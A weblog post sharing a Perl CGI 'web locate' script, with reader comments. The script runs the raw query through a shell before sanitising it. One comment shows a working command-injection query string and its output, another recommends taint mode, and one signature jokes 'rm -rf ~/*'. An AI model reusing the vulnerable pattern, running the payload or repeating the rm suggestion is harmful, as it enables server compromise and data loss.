Weblog entry #1 for w1d3
See all weblog entries made by w1d3.
#!/usr/bin/perl -w
use CGI qw(:standard);
use strict;
print header;
print start_html(-title=>'web locate');
print startform,
"locate \ " ,
textfield(-name=>'query',
-size=>20,
-maxlength=>20),
" \ | grep mp3 wav avi mpg m2v wmv \ ",
submit(-value=>'Enter'),
endform;
print hr;
if(param){
my $word = param('query');
`echo \'$word\' >> search.log`;
if(length($word) < 3){
print "longer pls", p;
}else{
$word =~ tr/a-zA-Z0-9//cd;
my $result = `locate -i $word | grep -i -e mp3 -e wav -e avi -e mpg -e m2v -e wmv`;
$result =~ s/\n/
/g;
print $result;
}
};
print end_html;
I hope that someone will find it useful, it's also quite easy to change it according to your needs, to find other file types etc.. feedback welcome! :)
Comments on this Entry
[ Parent | Reply to this comment ]
[ Send Message | View Steve's Scratchpad | View Weblogs ]
Congratulations - you've just allowed remote users to execute arbitary commands upon your server..!
Although you delete non-alphanumeric characters before executing your locate command you do not do so before logging.
Consider this code:
if(param){
my $word = param('query');
`echo \'$word\' >> search.log`;
...
}
Now consider the following query string:
word=test'%0d;/usr/bin/id%3E/tmp/foo
This decodes to:
test' ;/usr/bin/id>/tmp/foo
Which together becomes:
echo 'test' /usr/bin/id>/tmp/foo >> search.log
Leaving:
skx@mine:~/cvs/yawns$ ls /tmp/fof^M -l -rw-r--r-- 1 www-data www-data 54 2007-02-16 22:30 /tmp/fof? skx@mine:~/cvs/yawns$ cat /tmp/fof^M uid=33(www-data) gid=33(www-data) groups=33(www-data)
Suprise!
[ Parent | Reply to this comment ]
[ Parent | Reply to this comment ]
For the rest of us who don't quite manage to get into Steve's state of Vulcan mindmeld with perl code, the taint (-T) option will give you a slap across the wrist during coding. Use it!
PJ
[ Parent | Reply to this comment ]
* I used a cpan module to interface with slocate
* I build separate slocate databases, so that I only indexed locations I wanted to rather than the whole filesytem.
-Jonesy
[ Parent | Reply to this comment ]
[ Parent | Reply to this comment ]
-Tom
Running out of disk quota space, try rm -rf ~/*
Having horrible computer karma? Install Linux, your computer problems shall vanish.
[ Parent | Reply to this comment ]